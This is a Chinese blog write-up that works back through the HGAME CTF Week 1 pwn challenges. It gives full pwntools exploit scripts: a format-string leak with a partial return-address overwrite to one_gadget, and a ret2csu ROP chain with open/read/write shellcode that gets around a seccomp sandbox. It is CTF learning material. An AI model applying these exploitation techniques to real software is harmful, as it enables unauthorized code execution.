抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

BlackBird的博客

这世界上所有的不利状况,都是当事者能力不足导致的

HGAME PWN 题目复现

唉~bb又因为太菜,被骂了……嘤嘤嘤~

从今天开始复现HGAMEpwn题目

WEEK1

PWN

whitegive

emm……本身想的是它比较的是内存内容,所以直接把字符串给转成十六进制然后再用小端序,但是它这样比较的竟是地址……

image-20210608165413522

from pwn import *
p = process('./whitegive')
p.sendline(str(0x402012))
p.interactive()

once

格式化字符串+栈溢出,这里没有想到的是PIE打开了以后我们可以只修改低字节,但由于小端序:低字节在高地址。所以就可以实现修改高地址却能控制流程

from pwn import * 
one_gadget = [0x4f3d5, 0x4f432, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a41c, 0x10a428]
bina = './once'
elf = ELF(bina)
libc = ELF('./libc-2.27.so')
context(binary = bina, log_level='debug')
def pwn(x):
    p = process(bina,env={"LD_PRELOAD":"./libc-2.27.so"})
    gdb.attach(p,"b *$rebase(0x1201)")
    payload = b'%13$p%12$p' + b'a'*(0x28 - 10) + b'\xa9'
    p.sendafter("turn: ",payload)
    libc_base  = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main']
    elf_base = int(p.recv(14),16) - 0x1220

    log.success("elf_base => {}".format(hex(elf_base)))
    log.success("libc_base => {}".format(hex(libc_base)))
    
    shell_addr = libc_base + one_gadget[x]
    payload = b'a'*0x28 + p64(shell_addr)
    p.sendafter("turn: ",payload)
    p.interactive()



for i in range(len(one_gadget)):
    pwn(i)

letter

保护全关???seccomp查一下沙箱规则:

blackbird@ubuntu:~/CTF/hgame$ sudo seccomp-tools dump ./letter
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

emm……看这规则应该是orw……

那就应该还是栈溢出,找一下漏洞点:

image-20210608205936102

image-20210608210009085

这里的length本身是size_t也就是unsigned long long,但是LODWORD函数的返回值是有符号型int,然后在后面read的时候length又是无符号型。所以这里应该存在一个整数溢出:signed intunsigned int

那现在就是一个栈溢出,查了查gadgets

blackbird@ubuntu:~/CTF/hgame$ ROPgadget --binary ./letter --only "pop|ret"
Gadgets information
============================================================
0x0000000000400a9c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a9e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aa0 : pop r14 ; pop r15 ; ret
0x0000000000400aa2 : pop r15 ; ret
0x0000000000400a9b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a9f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007b8 : pop rbp ; ret
0x0000000000400aa3 : pop rdi ; ret
0x0000000000400aa1 : pop rsi ; pop r15 ; ret
0x0000000000400a9d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006c6 : ret

Unique gadgets found: 11

没有pop rdx;ret……

那就用通用ret2csuROP,但是又有一个离谱的事情,程序里面没有open函数。

所以这里要么ret2libc,要么用系统调用号直接写shellcode

from pwn import *
from pwnlib.util.packing import flat 
context(arch='amd64', log_level='debug')
p = process('./letter')
elf = ELF('./letter')

read_got = elf.got['read']
rwx_addr = 0x0601050

p.recvuntil('send?\n')
p.send(str(-1))

csu_start=0x0400A96
csu_end=0x0400A80
payload=flat('a'*24, csu_start,
'a'*8, 0, 1, read_got, 0x0, rwx_addr, 0x100,
 csu_end,'a'*56,rwx_addr)

p.send(payload)
p.recv()

shellcode = ""
shellcode += shellcraft.open('flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)

p.send(payload)
p.interactive()

评论